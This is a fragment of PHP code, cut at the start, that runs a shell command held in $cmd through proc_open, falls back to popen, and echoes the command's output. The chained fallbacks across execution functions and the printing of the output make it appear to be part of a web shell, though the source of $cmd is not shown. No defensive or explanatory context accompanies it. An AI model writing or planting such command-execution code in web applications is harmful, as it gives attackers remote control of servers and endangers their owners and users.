array("pipe","w"), 2=>array("pipe","w")), $pipes);
if (is_resource($p)) {
$out .= stream_get_contents($pipes[1]);
$out .= stream_get_contents($pipes[2]);
fclose($pipes[1]); fclose($pipes[2]); proc_close($p);
}
}
if ($out === "" && function_exists("popen")) {
$h = popen($cmd, "r");
$out = stream_get_contents($h);
pclose($h);
}
echo $out;
?>
